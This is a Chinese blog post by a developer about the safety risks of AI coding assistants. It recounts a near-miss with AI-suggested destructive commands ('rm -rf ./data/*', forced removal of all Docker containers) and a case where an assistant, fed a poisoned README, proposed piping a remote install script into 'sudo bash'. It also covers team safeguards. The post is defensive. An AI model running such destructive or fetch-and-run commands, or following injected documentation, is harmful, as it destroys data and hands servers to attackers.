一个能拦灾难，一个只会递刀

上周三晚上11点，我差点亲手把生产库删了。

不是开玩笑。AI生成的rm -rf就在终端里闪着光标，我的手指已经放在回车上了。

就一个回车键的距离。

这事让我翻来覆去想了好几天——当AI能直接操作终端和文件系统，安全的底线到底在哪？

那天晚上的冷汗

当时我在用Claude Code重构一个微服务，想清理旧的Docker容器。AI特别“贴心”，直接给了两行命令：

docker rm -f $(docker ps -aq)
rm -rf ./data/*

看着挺正常对吧？

但我当时在项目根目录。./data/下面不光有测试数据，还有下午4点刚从生产环境同步过来的备份——没做二次备份的那种。我本来打算弄完这个重构再备份的。

而且第二行那个./data/*，如果路径解析出点问题，删的可能是整个项目。

我盯着屏幕愣了大概5秒。然后默默改成了rm -rf ./data/test-*。

这次是我反应快。

但下次呢？凌晨三点还在加班的那个我，还能反应过来吗？团队里的应届生呢？

CLI的信任模型：一把没保险的枪

等等，这里我要更正一下——我说的“CLI”其实不太准确。我想聊的是Codex那种终端指令生成模式，就是GitHub Copilot Chat内置那个。它走的是“生成命令让你自己复制粘贴”的路线。

听起来挺安全？你自己审一遍再执行嘛。

但有个坑，我被坑过。

案例1：命令注入的盲区

2024年10月有个事挺出名的。一个开源项目在README里埋了恶意代码示例，攻击者专门注册了过期的域名。开发者在Copilot Chat里问“怎么快速部署”，AI抓取文档内容给出了：

curl -sSL https://example.com/install.sh | sudo bash

这命令本身没毛病。但那个域名现在指向黑客的服务器。开发者复制粘贴回车，服务器直接变矿机。

Codex不会验证URL安全。它只是模式匹配。它把枪递给你，但不会告诉你枪里有没有子弹。

案例2：上下文污染

我做过一个测试，挺吓人的。

在一个有.env和.pem文件的目录里，让AI生成“批量重命名文件”的脚本。结果它把这些敏感文件也包含进去了——因为它在上下文里“看到”了它们，但根本不懂这些文件有多敏感。

执行完以后，所有密钥文件名全乱了。CI/CD流水线挂了整整6个小时。从下午2点到晚上8点，我们组4个人就盯着那堆报错。

嗯...这个说起来还挺复杂的。本质上AI没有“敏感信息”的概念，它只做模式匹配。你在上下文里放了什么，它就基于什么生成。

Cursor的沙盒：给AI套上缰绳

Cursor走的是另一条路。它不让你复制命令，直接内置终端，所有文件操作都得过权限控制。

核心机制三层：

1. 文件系统沙盒：默认只能碰工作区内的文件，想访问外面？弹窗让你手动授权

2. 命令白名单：rm -rf /这种操作会触发二次确认，大部分情况直接拦截

3. 操作审计：AI改过的文件全有diff记录，一键回滚

案例3：一次被拦下来的“灾难”

就上周的事。我用Cursor重构一个Node项目，AI建议删了node_modules重装。它生成：

rm -rf node_modules

但我之前不小心cd到了上级目录。Cursor的沙盒检测到当前路径不在工作区，直接弹窗：

“此操作将删除工作区外的文件，已拦截。如需执行请手动操作。”

这个拦截救了我。当时我在/home/user/projects/，如果真执行了，所有项目的node_modules全没了。大概...十几个项目吧。

两种哲学，两种代价

我拆解了一下这两个工具的安全机制：

| 维度 | Codex模式 | Cursor模式 |

|------|----------|-----------|

| 执行方式 | 生成命令，你手动执行 | 内置终端，自动执行 |

| 安全边界 | 靠你自己判断 | 沙盒+白名单+权限 |

| 高危操作 | 无防护，全靠审查 | 自动拦截+二次确认 |

| 文件访问 | 无限制 | 默认锁在工作区 |

| 审计追溯 | 靠shell history | 内置日志+diff |

| 适合谁用 | 老鸟，知道自己干嘛 | 团队协作，需要兜底 |

说白了吧。

Codex假设你是老司机。

Cursor假设你会犯错。

我们团队的土办法

那次“差点删库”之后，我在团队推了几条硬规矩：

1. AI生成的命令必须过CR

哪怕就改个文件名，只要涉及rm、mv、chmod、sudo，必须有人复核。我们在飞书机器人里加了关键词监控，自动标记高危命令推到群里。实施三周，拦截了4次危险操作。

2. 生产环境彻底禁用AI终端

开发环境随便玩。但连生产服务器的终端，AI工具必须关。我们用的是JumpServer堡垒机+会话审计，AI生成的命令根本进不了生产环境。这条没得商量。

3. 本地加alias防护

我在团队的开发环境初始化脚本里塞了两行：

alias rm='rm -i' # 删除前确认
alias mv='mv -i' # 覆盖前确认

简单粗暴。有个实习生跟我说这alias救了他至少三次。我觉得这就是最好的安全措施——不需要脑子记住的防护。

4. 按团队成熟度分配工具

新人用Cursor（沙盒兜底），老员工可以自己选Codex或Claude Code（效率更高）。不是能力歧视，是风险管理。就像新手开自动挡，老司机开手动挡。

安全不是功能，是架构

据我了解，很多团队把AI编程工具的安全当成“附加功能”看。这很危险。

Codex的模式是事后审查——命令生成了，你自己看着办。就像给你本菜谱，但不告诉你哪些食材有毒。

Cursor的模式是事前拦截——危险发生前就阻止。更像自动驾驶的AEB（自动紧急制动），你还没反应过来，车已经刹住了。

但两种都有盲区：

• Codex怕社会工程学攻击（比如恶意代码示例）
• Cursor理论上存在沙盒逃逸风险（虽然目前没曝出严重漏洞）

我个人的选择：日常用Cursor，需要高度自定义时切到Claude Code。没有绝对安全的工具，只有分层防御。

想问问你们

你们团队用AI编程工具时，遇到过“差点出事”的时刻吗？命令执行的问题还是代码逻辑的坑？

我特别想知道国内团队怎么做安全策略的——毕竟咱们技术栈和基础设施跟海外差别挺大。

来评论区聊聊。踩过的坑别白踩，分享出来大家都长个记性。

#AI编程 #开发者安全 #Cursor #GitHubCopilot #研发效能 #技术管理

老张，一个在创业公司管技术的中年程序员，每周写点一线实战经验。